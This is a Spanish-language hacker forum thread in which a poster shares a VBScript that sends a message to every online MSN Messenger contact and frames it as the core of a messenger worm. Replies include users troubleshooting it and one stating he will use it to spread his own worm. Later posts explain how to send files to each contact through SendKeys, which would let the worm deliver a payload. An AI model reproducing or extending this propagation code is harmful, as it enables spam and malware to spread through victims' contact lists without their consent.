Buenas a todos... una vez más, estaba algo aburrido, así que he creado el siguiente script... en algún momento se me había ocurrido hacer un gusano que se propagara por msn, pero luego deje eso atrás y ya no me interesó...
Al ver el mensaje de RockoX me recordé esa idea que había tenido y lo que hubise sido su implementación en *.vbs (hay codes parecidos para vb)
set taskmgr = GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery ("select * from Win32_Process")
set objshell = createobject("wscript.shell")
for each process in taskmgr
if process.name = "msnmsgr.exe" then
'Revisamos que el proceso del msn este corriendo
Set objMsn = CreateObject("Messenger.UIAutomation")
for each contacto in ObjMsn.mycontacts
'Por cada contacto en nuestra lista...
if contacto.status = 2 and objMsn.mystatus = 2 then
'Si nuestro estado es online, y el de nuestro contacto tambien...
Set iM = objMsn.InstantMessage(contacto.signinname)
objshell.appactivate contacto.friendlyname
objshell.SendKeys "Visita el hacker.net :D{ENTER}"
'Abrimos una ventana de conversacion y enviamos un mensaje
end if
next
end if
next
Si alguien quiere probarlo, recomiendo quitar el {ENTER}, ya que sino enviarán el mensaje a todos sus contactos online :P
Para que haga algo, deben de tener el msn abierto, y estar como conectados, así como también deben de estarlo sus contactos, y luego si, ejecutar este script
Bueno, eso fue todo, un pequeño aporte que quizás sirva como ejemplo (de seguro es detectado por varios AV)
Saludos ;D
bastante bueno
y esta bien explicado me gusta
saludos
Jeje, puedo ver el poder del VBS :D
Muy bueno, no lo probe, pero seguro que funciona.
Saludos :)
Estoy parendiendo y tratando de crear un gusano en VBS
Lo utilizare para propagar mi gusano jejeje lo probare.
Humildemente agradecido.
:D
Se ve buenisimo gracias.
Creo que tengo un problema lo quise probar y me tira el error activex component can't create object: 'Messenger.UIAutomation' porque sera eso?
mejor usar pidgin :D
Cita de: JJWolf en 2 Julio 2008, 03:13 AM
Se ve buenisimo gracias.
Creo que tengo un problema lo quise probar y me tira el error activex component can't create object: 'Messenger.UIAutomation' porque sera eso?
Es que vbscript interactúa con determinados objetos pertenecientes a ciertos programas... tienes instalado el messenger?
A mi no me da problemas con las versiones 7 y 8 del mismo, para que te hagas una idea, este método de interactuar con el msn lo conozco desde enero del 2007, y me sigue funcionando con la versión más nueva del messenger :)
He modificado además el script, ya que vi que en ocasiones, si eran muchas ventanas las que se abrian, se perdía el foco y el mensaje no se enviaba correctamente, por lo que agregue
Citarobjshell.appactivate contacto.friendlyname
Que se encarga de obtener la ventana, según el nombre amistoso de las personas... no la dirección de mail, sino los simbolos que todo el mundo pone en su lugar :P, luego de esto si, se envia el mensaje ::)
Saludos
Ahhh, está bueno. El codigo se entiende, pero me gustaría aprender mejor acerca de vbs. :(
Saludos che
Hola me inicio en esto de la programacion con VBS y la verdad entiendo tu codigo
solo que hay algunas partes que no ps podrias darme un enlace donde encontrar documentacion de " Messenger.UIAutomation " y la primera linea como que haces un Select * From WinProcess creo ? lo que entiendo es que recibes todos los procesos del sistema pero esa linea podrias darme unos enlace para entender mejor esta parte [ winmgmts:{impersonationLevel=impersonate}") ]
Muchas gracias
Solo una aclaracion
if contacto.status = 2 and objMsn.mystatus = 2 then
si digamos estamos en ausente, o sali a comer, vuelvo enseguida.., telefono.
no mandaria el mensaje..
weno para q solo envie a todos los conectados deberiamos poner si ObjMsn.mystatus no es igual a 1 q creo q es el desconectado no recuerdo..
weno en fin esta weno el code..
salu2-->
Zaraki_lkenpachi
Del objeto Messenger.UIAutomation simplemente googlea con ese texto y te apareceran varios ejemplos, algunos en VB,pero igualmente sirve... en la web de microsoft también encontrarás información sobre la API del messenger :P
Sobre el tema de los procesos... igual google que seguro encuentras.. pero lo encontrarás por WMI (http://www.microsoft.com/technet/scriptcenter/guide/sas_wmi_miat.mspx?mfr=true)(click para info)..... que permite obtener muchisima información valiosa del sistema... el inconveniente es que muchas veces se necesitan privilegios de administrador.. pero casi todo el mundo utiliza la cuenta por defecto de win... la cual viene con esos privilegios :rolleyes:
wizard_0
Es como tu dices...es que lo he publicado como prueba de concepto para quién quisiera probarlo :P.. es por eso que he utilizado la condición de que ambos esten conectados.... ;D
Saludos
Muchas Gracias NovLucker ya encontre informacion Acerca de eso en el msdn de Microsoft hay muy poca pero ya e leido no sabia que se podia agregar y eliminar contactos xD eee pero tengo una curiosidad en tu codigo
Set iM = objMsn.InstantMessage(contacto.signinname)
InstantMessage <<< Abrir la ventana del msn de tu contacto porque lo almacenas en la variable iM ?? si luego no la utilizas solo para que no se abran todas las ventanas de tus contactos conectados ? por que al poner (contacto.signinname) dentro del bucle va te van a salir muchas ventanas pero lo que quiero saber es como para que la almacenas en iM .. pues yo pense almacenar el OpenInBox dentro de una variable :P para ver si derrepente me daba la URL de su Bandeja de Entrada ya con la autentificacion del Usuario :xD pero me salio vacio sabes si se puede lograr eso ?
Muchisimas Gracias ::)
Lo que hago con esta línea.. es crear la ventana de contacto... si la ventana estubiese abierta ya... no sería necesaria esta línea.. pero en definitiva.. con esto lo que se hace es crear la ventana, y para eso, es necesario guardar esta orden en una variable, en este caso IM.
Con la función OpenInbox, que también está explicada en msdn, lo único que haces es abrir una nueva ventana del explorador con la casilla de entrada del correo, es como darle al botón con el sobre, "Abrir mi bandeja de entrada de correo", pero solo eso.... :P
Saludos
Asi pues yo aca practicando abri la ventana solo con
Obj_MSN.InstantMessage("Correo@Hotmail.Com") y luego le envio el mensaje y eso que todas mis ventanas estan cerradas
Creo que la almacenas en caso de que ya este abierta es la ventana para crear una nueva cierto o me equivoco xD ...
Si puedes dame la liga del ejemplo del MSDN que yo puse en el buscardor y solo me salieron 6 ejemplos del Messenger.UIAutomation y para agregar un contacto sabes me sale error"No Coinciden los tipos 'AddContact' "
Pongo esto : Obj_MSN.AddContact("Corre@hotmail.com")
Muchas Gracias
CitarAsi pues yo aca practicando abri la ventana solo con
Obj_MSN.InstantMessage("Correo@Hotmail.Com") y luego le envio el mensaje y eso que todas mis ventanas estan cerradas
Creo que la almacenas en caso de que ya este abierta es la ventana para crear una nueva cierto o me equivoco xD ...
Es que en realidad, realmente en mi code no es del todo necesario guardar la ventana en una variable, ya que como tu dices.. igualmente se envía.. pero en el caso de querer realizar algo más con la ventana, si hay que guardarla en una variable... por ejemplo y siguiendo con mi code...
Set iM = objMsn.InstantMessage(contacto.signinname)
iM.close
Como ves, con close la cierro, y es necesario haberla guardado antes ;)
AddContact funciona así.....
Obj_MSN.AddContact 0, "Corre@hotmail.com"
Con eso abres la ventana, luego si quieres con un sendkeys puedes terminar de agregar al contacto.. pero no es automático como quieres hacerlo :rolleyes:
Saludos
o valla valla muchas gracias por la informacion y las molestias :xD salio la ventana de agregar contactos que lastima yo pensaba que se agregaba sin decirme nada :D si puedes enviarme algo de informacion acerca de las como usar una API en VBS
Gracias por Todo
Bueno.. si te refieres a la API del messenger.. ya lo estás haciendo a traves del objecto Messenger.UIAutomation, si lo que te refieres es a utilizar las demás APIs de win desde *.vbs.... es imposible, no, sin hacer uso de algún programa externo.. como lo es excel... :P
Mira....
Utilizar APIs de Windows en VBScript (http://foro.elhacker.net/scripting/utilizar_apis_de_windows_en_vbscript-t162891.0.html)
Saludos
Komo se pueden mandar archivos asi ? He probao con sendfile y nada... :-(
Cita de: CICOLO_111234 en 4 Octubre 2008, 13:10 PM
Komo se pueden mandar archivos asi ? He probao con sendfile y nada... :-(
Hasta donde se, no se puede :-\, en lenguajes como VB debes de jugar con el portapapeles, creando un zip, enviandolo al portapapales, y pegando su contenido en la ventana de conversación, pero en vbscript no se puede jugar con el portapapeles :-(, salvo para texto, nada de imagenes y demás :-\
Saludos
lo que pasa es que esta en el msn 8.1 o superior seguramnete , al escribir con el MsN plus intalado
"/sendfile"
mas la ruta , x ejemplo
"/sindfile C:\archivo.txt"
se envia el archivo .txt
capas que con vbs , tenes q interpretas el caracter "\" con algun simbolo o algo por el estilo no se, algo parecido pasa con nircmd
pero tendrias que probar pa
saludos
Si es como dice Darioxhcx, es fácil, simplemente en el sendkeys envias el "/sendfile c:\archivo.txt" y luego un enter, todos los caracteres que veo en la frase no necesitan ningún tipo de cambio o filtrado especifico :P
Saludos
tengo un problema cuando lo ejecuto en windows XP me dice Out of memory Createobject error 800A0007 y cuando lo ejecuto en windows vista corre todo bien
podrian darme una mano porfavor
Ocurre si tienes las últimas versiones del messenger en el XP, parece ser que han cambiado las librerías necesarias y ya no funcionan :¬¬
Saludos
y a que se debe a que en el windows vista si corre ( tiene la misma version del messenger ) :-\
:D buen codigo